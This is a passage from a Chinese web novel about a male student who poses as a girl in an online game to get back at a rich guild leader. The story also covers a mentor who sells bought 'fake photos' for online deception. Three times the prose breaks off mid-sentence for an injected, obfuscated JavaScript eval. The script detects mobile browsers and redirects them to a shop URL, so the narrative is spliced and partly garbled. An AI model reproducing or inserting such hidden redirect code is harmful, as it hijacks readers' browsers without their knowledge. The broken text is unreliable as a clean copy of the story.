不一会儿，两人就将背囊装满，盆满钵满地离开了秘境。 这才是沙海该有的平均水平嘛，上次那个人果然是炸鱼的。 满意地看着搜刮来的宝物，黎清的心情好了很多，连带着看男高也顺眼了不少。 “……小清，小清？” 正当黎清沉浸在自己的思绪中时，又被耳机里的声音打断了。 “不好意思，你刚刚说了什么？” 黎清清了清嗓子，不好意思地问。 “我说，我们要不要加个联系方式什么的？没别的意思，就是当固玩，以后一起上分啊，以前我们不是也这样玩过吗。我早就觉得你的操作很好了，但你太高冷了，打本时也从来不开麦。” 对面嘟嘟囔囔地说了一大堆，黎清从中提炼出“联系方式”“固玩”这几个关键词。饶是他再迟钝，也从男高有些扭捏、不复从前大方的语调中听出不寻常的味道。 ——不会吧。 ——他这个样子，难道就因为我变成了“女生”吗？ 黎清被这个猜想搞得有些起鸡皮疙瘩，这种感觉怎么说呢，当了很久兄弟的人，突然有一天对自己示好，还是这种似乎目的不纯的示好。偏偏还是他自己招惹的，也不能说是别人的问题。 黎清又沉默了，他本来就是个寡言的人，并不奇怪，倒是另一个人更有发挥空间，自顾自说了一箩筐的话。 “哎对了，小清，我看你主页好像也没加公会，要不来我们公会吧。独孤知道吗？战力榜前三的大佬，他就是我们帮主，人可大方了，每个月光分红都有不少，不知道有多少人想进呢…” 听到这些，黎清的耳朵一下子竖起来了。 4. 第四章 从独孤两个字之后，男高说了什么，黎清已经听不见了。 “好。” “唉？小清你是同意了吗，是同意加联系方式，还是同意来我们帮会……” “都可以的。” 黎清斩钉截铁，他现在有更好奇的事：“你刚刚说你们帮主叫独孤，是哪两个字？” 男高打字在聊天框：“就是把孤独倒着写。” 果然是他。 黎清握着鼠标，不好的回忆再次涌现。 排行榜前三，怪不得装备那么好，杀他只用寥寥几招。现在自己居然正好被邀请加入这个人的帮会，世界上怎么会有那么巧的事？ 他这边在沉思，男高却已经开始了新一轮的念叨。真不能怪他今天有点亢奋，只是这事儿真的太玄乎了。毕竟谁能想到，从前那个操作犀利的副本搭子，沉默寡言，本以为是个不爱说话的战力党男玩家，开了麦却是个又甜又软的妹妹呢？ 这反差太大了，毫不夸张地说，当时猝不及防听见她说话时，自己差点以为耳朵出了问题。 “哪个联系方式你比较方便啊？” “我什么时候可以进帮会？” 两人的声音几乎同时在麦里响起，声线迥异，关注的重点也完全不同。意识到自己过于急切，黎清咳了一声，回复道：“微信，可以吗？” “当然可以！” 男高欣然同意，很快发过来的一串英文字符。 看见他的消息，黎清拿起手机又放下，想起另一件重要的事。 ——游戏账号是成功变性了，可是社交软件还没改呢！ 但是真改了也不合适，如果他把微信也变成游戏账号的画风，同学和老师估计都会以为他疯了。 好在黎清还有另一张手机卡。借口晒衣服的功夫，他用大号辅助注册了一个新的微信。名字头像都严格按照秘籍修改，一眼女孩子，这才和男高交换了联系方式。 以后这个就当小号吧，现实和网络果然还是分开来比较好。 一顿操作之后，黎清已经隐隐有些头痛了。为了圆一个谎，就不得不用更多的谎来填补，感觉继续这样下去，总有一天会发生不好的事。 算了，走一步看一步吧。 . 因为实力不错，外加有熟人推荐，黎清顺利进入了帮会。 和男高形容的一样，这个名为“杀伐”的帮会在排行榜上一直稳居前三，偶尔还能拿下第一，团员整体水平和活跃度都相当不错，福利也是一等一的好。 只是进来这几天，黎清一次都没见到独孤。 据男高说，这位神秘大佬虽然是他们的帮主，但玩游戏主打一个随心所欲，平日里行踪不定。会里的事务都是花钱请人帮忙管理的，上线到底在做什么他也不知道。 终于，在一次副本中，这位让黎清“心心念念”的帮主大人才终于露面，要亲自带他们打限时副本。 周六晚上准点，参与的大伙都在副本门口集合，却迟迟不见独孤的身影。 正当黎清觉得有些奇怪的时候，原本晴空万里的天边却突然阴云密布，狂风大作。伴随着“啪——”的一声惊雷，华丽的紫色麒麟和雷电共同直劈而下，数秒之后，云雾散去，一个周身泛着金光的人才施施然走了出来。 “我靠！帮主来了，帮主霸气！” “这个出场方式，眼睛要被闪瞎了。” “新麒麟车帮主这么快就做了吗，这得要几十个w吧？” 为了方便指挥，队伍里所有人都进了帮会的语音频道，不少相熟的人已经开麦交谈了起来，并对独孤的华丽出场表示赞叹。 “……” 黎清不语，对这个衣着浮夸、浑身写满“我很有钱”的人无从评价。 因为社恐，他并没有开麦，只是在对话框里和男高有一搭没一搭地打字。 【私密】185清纯男高：紧张吗？ 【私密】小清宝宝：还好 黎清确实有点忐忑，自己战斗经验很丰富，但现在却是有帮会的人了。他害怕中间哪一步出错，影响到别人。 【私密】185清纯男高：没事，按照你平时玩的就行 副本名为千丝愁。背景故事中，一众侠士们在路途中不慎落入了陷阱，只有打败最终boss千年蜘蛛精，才能逃出生天。 而蜘蛛精掉落的??翎丝则是制作最新顶级武器的必备材料，据说独孤最近也在四处搜集、高价收购。 人员到齐，读条成功之后，队伍里的人被集体传送到了一个幽暗潮湿的洞窟之中，周围到处都是密密麻麻的蛛丝和蛛卵，耳边时不时还能听见一些窸窸窣窣的摩擦声，环境十分诡谲阴森。 “注意别踩到地上的蛛卵。” 副本正式开始，帮会里的众人都关掉了麦克风，只留主指挥独孤一人说话。看见最前头那个穿着华丽的账号，黎清的心情有些复杂。 听上去还挺年轻的，还以为他得有四五十岁了…… 由于一些刻板印象，黎清总觉得这种爱在网游里建帮会的人现实该是个老大叔，或者是那种审美很奇葩的土豪老板。 可独孤却不太像，感觉至多也才二十来岁，虽然整体嗓音偏低沉，但还挺有磁性的。有点像网恋秘籍里说的……极品青年音？ 黎清撇了撇嘴，出于同性之间的那点心理，开始将自己与他对比起来。这不比还好，一比就是一肚子不高兴。 其实，如果按照声控的评价标准来说，黎清的声音也很不错，但他自己却不满意。 他声线偏细，正常状态是清澈的少年音，但一旦情绪激动、语气上扬时，就会带上些雌雄莫辨的味道。 从前性格还没那么内向的时候，黎清也会开麦，但经常被人被问是男的女的，甚至被当成没变声的小学生调侃，久而久之也就不爱在网上说话了。 再看看独孤别在腰间的那把神兵，极品镶嵌，火雷双属性附魔。符文特效似乎比上次见到的时候又多了几层，想来战斗力又被强化了。 那天，他就是拿这柄长剑贯穿了黎清，害他掉了三件装备。想到这些，黎清更加不爽。 “蜘蛛精要化茧了，所有人准备好躲技能，奶妈捏好解毒，注意走位。” 提醒的声音在耳边响起。一行人都是经过筛选、实力不错的玩家，又训练有素，很快就将蜘蛛精的血磨掉了2/3，到了这个血量，boss就会进化到第三阶段。 在这个阶段，陷入狂暴的蜘蛛精将会释放一个隐藏技能——千丝幻域。这是个非常特殊的技能，不是为了攻击，而是要将玩家拉入一个独立的空间之中，拖延时间，防止他们干扰自己筑茧。 而蜘蛛精一旦破茧成功，不仅之前磨掉的血量会全部恢复，攻击力也会上涨到原来的1.5倍，相当于辛辛苦苦打白工。 因此打这个副本的时候，经验丰富的队伍都会留一个群体解咒，避免被拉进幻域，趁蜘蛛精吐丝筑茧的时候将其一举击杀，提前解决。 杀伐帮会显然也是这个打法，随着独孤一声令下，众人四散开来，避免被蜘蛛喷出的毒气留住，并用极快的速度汇集到一起，等待解咒术的释放。 “遭了！” 一道陌生的声音响起，打本期间，除了主指挥，大家默认都会闭麦，除非有特殊情况。而这个奶妈显然就遇到了这种情况：撤离的时候她离蜘蛛精太近，被蛛网绊住了脚步，随后又被蛛卵中孵化的小蜘蛛缠上，控在原地无法动弹。 不好—— 意外骤生，黎清顿感不妙。队伍里的职业分配都是经过计算的。一共三个奶妈，少了一个都容易奶量不够，造成团灭的结局。相比之下，他的职业则偏向增益型辅助，即使缺了一个，剩下的这些人应该伤害也够。 想到这里，距离奶妈两个身位的药仙迅速扭头，将丝线连接到奶妈身上，使用移形幻影技能将其与自己换位。几乎同时，蜘蛛精的幻域也迅速展开，将周围吞没，不在解咒范围的黎清被吸进了阵法之中。 还好赶上了…黎清松了口气，一直操控鼠标键盘的手停了下来，静静地在幻域中等待。 其实这个地方天问偷懒了，说是独立空间，但压根没有建模，只是将玩家硬控在原地，眼前一片混沌。大约五分钟左右，副本成功通关的消息播报终于在屏幕中弹出，黎清的视线也终于恢复清明。 【恭喜少侠，探索成功！】 副本结束，众人也都陆续开了麦。男高的声音很快传来。 “小清！你刚刚太厉害了。” 高大的铁拳一个箭步，急匆匆冲到药仙身旁。帮会里的众人也慢慢聚集了过来。 “对啊，反应真快。” “那可不是，也不看是谁拉进帮的。” “你小子，自己操作一般，认识的朋友倒是比你厉害多了。” “靠，这是人话？” … 被众人围在中间，满屏的时装特效几乎要黎清淹没其中。 朋友…吗。 很久没听见这个词了，黎清微微垂眸，心头有些发热。 “刚刚太谢谢你了，清清老婆。” 被救的奶妈也凑到黎清身边道谢，她名叫柚子，游戏建模是个身材高挑、前凸后翘的御姐，结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995946|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开口却是个实打实的娃娃音。 “以后你就是我在杀伐的头号闺蜜了！” 说完，柚子发起双人动作，身穿旗袍的长发姐姐就将药仙少女拦腰公主抱起来。 这都是什么跟什么啊！ 电脑面前，黎清面红耳赤。 本以为那些老板叫宝贝就是极限了，但他还是小看了现在互联网的开放程度。 “老婆你怎么不说话啊？是不喜欢我吗。” 柚子还在追问，用的是撒娇打趣的语气，却被傻乎乎的黎清信以为真。 他本就不擅长社交，更何况是与女孩子，总感觉自己有占便宜的嫌疑。紧张之下，他习惯性开麦道歉，声音颤抖无比。 “不是的…对不起，我不是故意的。” 他说完这句，刚刚还嘈杂不已的语音频道居然停顿了一瞬，紧接着就是柚子的惊呼。 “我的天，男高你是从哪里拐来这种可爱妹妹的啊！” . 副本顺利完成，随后就是大家都十分期待的分红环节。按照规矩，boss掉落的物品会优先在队伍内进行竞拍，有需要的人竞价购买，如果没人需要就挂到交易行，最后将钱币进行分成。 好多啊。 看着自己的背包余额，黎清总有点不真实的感觉。他们这次运气好，一下爆出了三件??翎丝，被独孤一人全部带走，每个成员都瓜分到了一笔不菲的报酬。 也许这就是背靠大树的快乐吧，怪不得有那么多人爱玩帮会。万年独行侠黎清突然就懂了。 一切结束，他打算再去练习沙海，去之前先采药。传到到药峰谷的郊外时，却突然看见了一个熟悉的人。 “独孤？” 还是那道金光闪闪的身影，这次独孤没有骑他那拉风的坐骑，而是一个人坐在崖边的树上，亮闪闪发丝和衣服被风吹起，忽略掉那过分夸张的土豪穿搭，整个人居然有几分忧郁的气质。 …这难道就是传说中的破碎感吗？ 网恋秘籍看多了，黎清总是时不时想起一些奇怪的东西。 他站着不动，树上的人显然也注意到了这个傻站在旁边的药仙。 【附近】独孤：是你？ 被突然点名，黎清有些惊讶。 【附近】小清宝宝：帮主，好巧 【附近】独孤：你的操作很不错 出人意料地，独孤居然主动夸了黎清。估计是一次拿了三根??翎丝，对他这个大功臣也相当满意。 【附近】小清宝宝：是帮主厉害，最后少人也带大家打赢了 这倒是真话，换做一般的队伍，但凡少一个人都会元气大伤，但独孤却能靠硬实力补上这个输出，这点黎清不得不承认。 【附近】独孤：还行 【附近】独孤：药材直接去帮会仓库拿 依旧高冷且装，但因为他的主动夸赞，黎清的心里不再发怵。看见头顶的ID，他有点蠢蠢欲动，想起了自己爆改女号的“初心”。 【附近】小清宝宝：仓库里的药材都品质太好了，玩沙海不能带太好的药 【附近】独孤：为什么 因为一旦被杀，背包里的东西都会掉，连装备都有概率损坏，你就是这样把我扒干净的！ 黎清愤愤想着，打出来的字依旧心平气和。 【附近】小清宝宝：怕死在里面，药全丢了 【附近】小清宝宝：帮主没玩过沙海吗？ 独孤停了几秒，似乎在回想些什么。 【附近】独孤：玩过一次 只玩过一次，难道就那一次，正好就被我碰上了？黎清不敢相信，突然很好奇独孤那样做的原因，开始试探起来。 【附近】小清宝宝：嗯嗯，我有个认识的人说之前匹配到帮主了，叫AY，帮主你有印象吗？ 【附近】小清宝宝：他说你很强，自己几下就被打败了 究竟会是什么原因呢？ 打完这几句话，黎清默默等待回复，想知道这个人究竟在想什么。 【附近】独孤：好像是有个，你熟人？ 【附近】独孤：他还打字求我别杀，我没理 【附近】独孤：顺手的事 “……” 顺…… 答案揭晓的那一刻，黎清只感觉气血上涌，他不知道该说什么好，只感觉憋屈又无力。深呼吸了几口气，捏紧拳头又松开，半晌，两个对话气泡才缓缓从双马尾少女的头上飘起。 【附近】小清宝宝：哇，帮主哥哥好厉害 【附近】小清宝宝：那下次可以带带我吗（＞＜）？ 5. 第五章 【附近】独孤：行 【附近】独孤：等我五分钟 嗯？ 出于对他的高冷印象，黎清只想客气一下，没指望会同意，谁知人家一口答应，现在就要带他。 说好的神秘大佬，行踪不定呢？ 不过转念一想，像独孤这种高调的有钱人，想必很多人对他示好，说不定是个带妹老手，来者不拒，上线整天见不到人估计就是干这个去了。 海王。 黎清鼓起腮帮子，对话框中却做出一副惊喜的模样。 【附近】小清宝宝：真的吗？太好啦[撒花] 【附近】小清宝宝：等我采完药 说着，药仙少女又蹲了下去，拿着铲子挖来挖去。 【附近】独孤：不用，我给你 【附近】独孤：通过一下好友 看见他的消息，黎清这才反应过来。自己在这演了半天，脑子里的剧本一个接一个，却连好友都没加上，果然还是独孤熟练。 男人啊，碰见妹妹就急成这样，一会儿都等不了。 黎清冷笑，已然是完全代入了角色。 顺手的事，那我顺手诓你一下也不过分吧。 这可是你自己送上门的。 . 其实独孤，或者说萧奕然根本没想那么多，只是像往常一样在崖边挂机而已。 是的，除了上线花钱和打本外，挂机也是他日常的一部分。和某些人一样，萧奕然在游戏里也算是个独行侠，并且主动孤立了所有人。 没办法，他那一身行头太引人注目了，但凡在天心城那种地方多待一会儿，好友申请都要被加爆。十个里面八个问富哥能不能送时装的，两个问富哥要不要先cpdd然后送时装的，烦都要烦死了。 这里是他特地找的，临近地图边缘，平时很少人来，谁知今天却出现了不速之客。 不过萧奕然心情不错，看不速之客也很顺眼。他已经收集??翎丝快一个月了，前几天交易行上新了几件，但都被人蹲点开科技拍走，搞得他十分烦躁。今天这三个??翎丝能到手，这个药仙可谓是功不可没。 一个刚进帮会的新人，他本来没注意，审核都是交由别人在管。但这个新人的表现倒是令人有些意外，反应很快，脑子也灵活，在他见过的药仙中也算是操作拔尖的。 结束副本之后，萧奕然刚想退出语音频道，却碰巧听见她开麦说话。 “对不起，我不是故意的…” 声音细细的，还很嗲，一听就是个夹子，本该是他无感的类型，但话尾的咬字和微微颤抖的声线却有着特别的味道。 后面他们继续吵闹，萧奕然没有再听，把钱交给副团长就转身离开。 现在再遇到这个药仙，甚至被对方邀请一起玩沙海，属实是意料之外。 至于为什么要答应，萧奕然自己也说不清，可能是满意于这份恭维，也可能是不想看她继续磨磨蹭蹭挖药材了，不知道这些垃圾有什么可挖的。 两人加上好友，萧奕然点进了对方的个人资料。 ID小清宝宝，头像一团粉粉白白的东西，小图看不清，点开放大才看出是只正在舔爪子的小猫。 回忆起少女说话时害羞又紧张的语气，萧奕然突然心头一动，感觉被什么东西挠了一下。 视线扫到下面的基本资料。在江湖游历了接近四百天了，比萧奕然玩的还久。展示游戏关系的那一栏也很空旷，只有一个名叫185清纯男高的显示为【搭档】。 这个人他记得，也是帮会里的。主页干净却独独只挂一人，看样子他俩挺熟的。 萧奕然挑了挑眉，站在那里许久没动，直到组队申请发来才回过神。 自己这是在干什么，查别人主页吗？ 为了掩饰自己的行为，他连忙同意组队，左上角随即显示队伍2/7的字样。 “帮主哥哥…” 一道声音响了起来，和当时在帮会公共麦里“偷听”不同，这次是双人组队，音量和音质都好了很多。 萧奕然舍得往网游里花钱，设备自然也是顶级。一时间，他的耳朵都要被那立体环绕的女声包裹住了。 怎么比刚才更嗲了？！ 萧奕然手一抖，握鼠标的手差点没拿稳。可能是受对方影响，他在开麦之前竟然也清了清喉咙，刻意压低了点嗓子。 “咳，刚有点事，现在开吧。” . 【您已收集到龙鸣指环*1】 【您已收集到神秘的石板*1】 【您已收集到晶蝶碎片*1】 …… 行走在沙海的地图中，黎清感觉自己是来逛街的，还是那种扫货级别的逛街，所到之处寸草不生。 他现在很想说话，但又不知道该说什么好。 这个独孤跑那么快做什么？ 因为职业差异，药仙本来就走的比问剑慢一点，搜刮东西也需要时间。可偏偏独孤一个劲地往前冲，轻功飞起来像流星似的，加血都加不上了。 好吧，其实他压根不需要加血。如果说和男高双排是合作共赢，那和独孤双排就是单方面的碾压。 一路上，黎清就没在视野里看见几个活人，光是捡掉落的宝物就累得够呛，等他好不容易赶到战场，其他人都变成了尸体，堪称露头就秒。 见识到独孤的恐怖，黎清心里却莫名好受了点。 ——这么看来，自己能坚持几分钟已经很厉害了，技术还是过关的。 “帮主哥哥你慢一点，我都没法给你挂buff了。” 实在受不了了，黎清选择开麦，希望独孤能等等自己。 话音落下，飞驰在前面的问剑竟然真的中止了轻功。 “你什么都不要吗？”虽然白捡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995947|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝物很开心，但出于被带飞的自觉，黎清还是客气地问了一下。 “不要，你拿。” “谢谢帮主哥哥。” 那我就不客气了哦。 黎清笑了，将好东西都装进了背囊。忙活地不亦乐乎，却听见独孤再次开口。 “能不能别这么叫我。” 这么叫，指的是“帮主哥哥”？ 黎清有点意外，但又想起秘籍写道，这世上没有男人可以抗拒被喊哥哥，即使嘴巴上说不喜欢也一样，心里偷着乐罢了。 “好的，哥哥。” 对面又不说话了，但速度总归放慢了不少。跟上步伐之后，黎清操控着药仙释放技能，总算是将buff再次加到了剑修身上，与他一前一后向前奔去。 【背包容量已满。】 快到撤离点时，宝箱金光一闪，居然又开出了好几件高级灵宝。黎清眼睛都亮了，点击收集，却弹出了背包过载的提醒。 因为停在那太久，一转头，独孤发现她又没跟上，折返回去就看见药仙纠结地站在宝箱旁边。 “啊，哥哥！” 这声哥黎清叫的真情实感，自己身上满了，独孤不是还能装吗？让他带出去再给我不就好了。 结果一问才知道，独孤还真拿不了，因为他压根就没带背囊，怪不得一件东西都不碰。 玩个沙海，不带背包，不拿物资，也不知道等我，就一直找人杀，到底想干嘛？ 黎清有点无语，只能自己解决。半晌，一些乱七八糟的宝物和药品慢慢出现在了药仙少女的周围，代表着不同品质的光芒五颜六色。 ？ 看着被扔了一地的东西，本想轻功飞走的独孤竟也站在那没动，总感觉这一幕有点似曾相识，好像上次进沙海时，也有个人当着自己的面扔了一地的东西，也不知道是什么意思。 “你在干什么？” 他不解。 “清理下背包，把便宜的东西换成贵的。” 忍痛割爱的黎清很不开心，虽然便宜，但这些可都是能实打实换成铜钱的，带再多他都嫌少。 独孤没继续问。只是看着药仙恹恹地清点着背包，一边扔还一边捡，嘴里嘟囔着物品的价格。 “……” 他们没等到倒计时结束就离开了秘境，一来黎清背包搜满了，二来大部分玩家也被他们杀光了，没必要留。 出去之后，黎清第一件事就是把宝物放入回收商店，领取自己兑换到的铜钱。 个、十、百、千…一共九十多万铜币，看见背包里多出来的钱，他既暗爽又心疼。不扔那些便宜小垃圾的话，估计得上百万。 “还打吗？哥哥。” 过了好久，他才意识到队伍里的另一个人，于是捏着嗓子问了句。 回答他的是秒开匹配，以及问剑腰间多出来的一个空间锦囊。 6. 第六章 关于如何“诓”独孤，黎清是认真思考过的。 他觉得，独孤虽然不怎么理人，但既然给天问充了那么多钱，还愿意花功夫组建帮会，归根结底和其他氪金大佬一样，享受那种众星捧月的感觉。 好听的话谁都喜欢，于是他逮着机会就找独孤打游戏，顺带夸奖几句。反正有独孤在自己也玩的轻松，就当免费代练了。 一来二去，两人算是熟悉起来，聊天框的火花也在日复一日的交流中日渐壮大，经常一上线就开始组队。 微信也加上了，就是之前黎清注册的那个小号。头像昵称都特别粉嫩。但除了加好友时的验证问好，基本没有其他联络。 到了这里，黎清有些卡壳，不知道该如何进行下一步。这时，他又想起了那个将自己领进门的人——论坛里的神秘C先生。 【C：也就是说，你现在和他已经连续聊了一个多星期，想知道怎么进展到下一步】 【点水青：嗯嗯】 【C：不错】 收到徒弟求助，C很惊讶。看那天点水青顾虑重重又胆怯的模样，还以为不会报复回去，谁知这么快就开始了行动。 也不知道为什么突然想通了，汝子可教也。 【C：不是说火花都聊起来了吗？让我看看聊天记录，宝贝】 虽然有些不好意思，但黎清还是照做，啪啪将截图发了过去，等待老师的验收。 【点水青：[截图][截图][截图]】 【C：……】 【C：。哥们】 谁知图片发过去后，C的态度却来了个一百八十度转弯，连宝贝都不叫了。 【C：你管这叫聊天？】 对面将图片重新发了过来，用红笔工具画上几个大大的问号。 8月3日 【小清宝宝：打副本吗】 【独孤：行】 8月4日 【小清宝宝：打沙海吗】 【独孤：嗯】 【小清宝宝：你的输出占比好高啊】 【独孤：还可以】 8月5日 【小清宝宝：打竞技场吗】 【独孤：等我一下】 【小清宝宝：好哦】 【小清宝宝：哥哥（＞＜）】 …… 一连几页下来，两人每天的对话平均不超过五句，通常遵循小清宝宝邀请→独孤同意→小清宝宝开夸→独孤表示没什么的格式，一问一答，毫不多说，就像两台设置好程序的人机。 估计那句单独发的“哥哥”都是想起来才补上的。 黎清不理解，毕竟他以前跟队友的聊天更加简洁，通常他发个「八点副本？」，对面扣个1就算完事儿，和独孤这样已经很不错了。 虽然没有多热烈，但你就说聊没聊出火花吧。 【点水青：请问有什么问题吗？】 【C：问题…简直太多了，我不知道该怎么说】 连巧舌如簧的C都有些词穷，他停了好几分钟，似乎在组织语言。 【C：OK，我们复个小盘。你的基本思路没有问题，主动邀请他打游戏，这是对的。打完后夸一夸，提供情绪价值，这也没错】 【C：但你们聊天的过程出了问题，完全没有两个异性在一起的浪漫，而像是两个单纯配合不错的路人】 对，路人，因为没有固玩被迫搭伙过日子，C终于知道该怎么形容了。 【C：你和他打游戏的时候开麦了吗？变声器用了没】 【点水青：用了】 看老师一阵输出，黎清这么多年的学生DNA动了，连忙乖乖汇报。 【C：有没有叫他哥哥】 【点水青：有的】 ……不对啊。 看见这个叙述，C也觉得不太对劲。 不能把问题全归咎于点水青，这个独孤也有点问题。 一个正常的男人，每天和嗓音甜甜的妹妹2/7。哪怕这个妹妹人是傻了一点，不会搞暧昧撩人，但好歹态度摆在这里，总不至于这么冷淡吧。 但C毕竟不在场，不知道他们具体怎么相处，只能把这归结为富少的高傲。 这么有钱，想必也见过不少示好的人了，眼光高的很，哪是叫几句哥哥就能随便拿捏的。 【C：我懂了】 想到这里，C福至心灵。虽然这招一般是要在中期再用的，但对于大鱼，必须早点上狠货，不然直接脱钩怎么办。 【C：补充文件发你了，查收一下】 . 学习资料已经看了那么多了，再添一份也没什么，好歹我也是个大学生呢。 出于一种莫名的自信，黎清天真的点开了那个命名为杀手锏.pdf的文件。 …… ……！？ 一分钟后，他面红耳赤关掉了文件。过了一会儿不信邪地打开，随即再次叉掉。 反反复复，只有两页的pdf硬是花了十分钟才读完。 原因无他，这里面的内容是真的夸张，并且涉及了一个黎清从没接触过的领域——驾照。 当然，不是开车用的驾照。只是为了防平台审核取的谐音，也就是所谓的“假”照。 和黎清从前知道的网图不同。虽然同样是拿别人的照片，网图之所以是网图，通常打开识图软件就能找到出处，主人翁也大概率在互联网小有名气。有经验的人扫几眼就能看出真假、是否实拍，段位太低。 而这些假照片却更加专业，通常由不愿透露姓名的神秘卖家提供，给你一手资源，日常擦.边炫富一应俱全，甚至还有代奔现的服务。还可以指定主题和衣服，配合AI工具辅助，最终加工出100%符合喜好的图片。 根据业内规则，花钱买断的照片全权归买家所有，连拍摄者本人都不能在任何平台发布，保证全网独你一份。很多卖家甚至发出【被扒那就是我盗你图】的毒誓，保证私密性拉满。 说好听点，就是高级定制。 说难听点，就是骗术升级。 黎清汗颜，这些已经算是灰色产业了吧… 当然，pdf里将这个驾照说的天花乱坠，仿佛网骗的通行证，结尾自然也附上了购买方式，依旧是报C的名字打七折。 怎么越来越感觉，自己的老师很像那种卖教程赚钱、顺便拿提成的职业托呢？ 好奇心作祟，黎清最终还是偷偷看了眼，礼貌咨询了价格，然后礼貌的已读不回。 太贵了，再这么下去兜都要被掏干净了。 他仔细分析了一下pdf里的例图，有露脸卖萌的，有遮脸秀身材的，甚至还有对着屏幕伸脚丫的……共同点都是一水的死白滤镜加厚厚的水印，视角基本是从上到下的俯拍，这样就能显得被拍摄者格外的娇小幼态，惹人怜爱。 所以精髓就是要白幼瘦？ 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995948|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清对这种审美不予评价，但也知道这在网络上一直很有争议。 严格意义上来说，他自己就挺白挺纤细的，总被室友讥讽“没有男人味”。不过说到纤细，他看了看自己的大腿和胳膊，突然灵光一现，有了一个大胆的想法。 当天晚上，贫穷的大学生网购了两条9.9包邮的白色丝袜，隔天到手四片几乎没有重量的布料。 这种又轻又薄的东西真的能穿到身上吗？黎清有些惊讶，也太不可思议了。 他的腿细，倒是不难塞进去。但这丝袜质量很差，轻轻一剐就勾丝了，收口处的余量也稍显紧绷，把根部的肉都挤在了一起。 黎清好不容易穿上，别别扭扭地在宿舍走了几步，感觉脚底都有点打滑。 根据卖家的拍照思路，黎清动手模仿。没有合适的衣服就把T恤撩到胸前，只让穿着丝袜的一双腿入镜。 他第一次弄这些，掌握不好角度，拍出来的成品总是奇奇怪怪。 不是没对上焦，就是把自己土土的床单拍进去了。折腾好半天都没挑出合适的照片，皮肤也被粗糙的蕾丝花纹勒出印子。 果然有的钱就该让别人赚，他叹气。 这也太难了。 . 【私密】小清宝宝：[语音：哥哥，打沙海吗？] “哎呦～哥哥～可以带人家～打游戏吗？” 这条语音刚发过来时，萧奕然正在房间里玩游戏。路过的朋友听见了，站在门口矫揉造作地模仿起语气。 “妹妹投怀送抱咯～” “别烦我。” 萧奕然啧了声，走到房间门口关上门。 电脑屏幕上，名叫小清宝宝的女号正站在他面前发出了交互。他手指一动点击了同意，白衣少侠随即俯下身子，摸了摸少女的头，系统还贴心地给这个双人动作加上了粉红泡泡。 【私密】小清宝宝：可以吗？ 【私密】独孤：今天没空 萧奕然不是傻子，这个女号最近天天黏着自己，嘘寒问暖的，肯定有别的心思。 最初他以为对方想索要时装，但随着时间的流逝，对方却迟迟没有动作。而且他发现这个小清虽然一副想讨好他的样子，却总透出一股傻气。 “这附魔伤害太高了，直接秒了对面。” “哇，这是天属性内功吗。” “刚刚那个连招是怎么做出来的？太帅了。” 两人一起打游戏时，多是对方说话，萧奕然沉默杀人。看见他施展出的招式和流光溢彩的武器，小清宝宝总会非常激动，连连赞叹。等到结束之后，又总结打卡似的来一句： “哥哥好厉害呀。” 听上去…她好像真的很崇拜自己。 萧奕然从来不缺恭维和讨好，但好话谁都不嫌多。在这一声声赞美中，他还是放软了态度，默许了对方的接近。 不过话虽如此，他却没什么进一步的打算，甚至还想保持距离——朋友的话提醒了他，自己最近和小清宝宝走得太近了。每天一上线就在一起，不太合适，而且自己也没有在游戏中发展的念头。 于是，萧奕然拒绝了她的邀请，正巧这两天有点忙，也就减少了游戏时间。 谁知隔天晚上，他正在沙发前喝酒时，就随手刷到了一条崭新的朋友圈。 清清绵绵冰： 质量特别差的袜子，把腿都勒红了qwq 【图片】【图片】 7. 第七章 “咳——” 刷到这条朋友圈时，萧奕然正躺在沙发上联机打游戏。 他嫌学校的宿舍太小，就在附近买了套房子。最近朋友和家里闹翻了，到他这避难。两人游戏的间隙，他随手拿起手机瞥了一眼，差点没把嘴里的啤酒给喷出去。 “我靠！你要干嘛。” 朋友吓了一跳，凑过头去看他的手机，却被一把推走。 “什么宝贝还藏着掖着，不给看啊。” 不知道这少爷又在发什么神经，朋友自讨没趣，悻悻缩回脑袋。 他说的没错，萧奕然确实有宝贝要看，这宝贝现在就在他的微信里。 ——五分钟前，清清绵绵冰发布了一条朋友圈，文案平平无奇，配的图片却相当不得了。 那是两条并在一起的、穿着丝袜的腿，又细又长，匀称白皙。即使像素差也不影响美观，反而自带些特别的朦胧感。 萧奕然不懂丝袜，也不了解究竟质量如何。但他看得出这东西很薄，也很透，被撑开后底下都沁出肤色的粉，想必轻轻一撕就能扯坏。 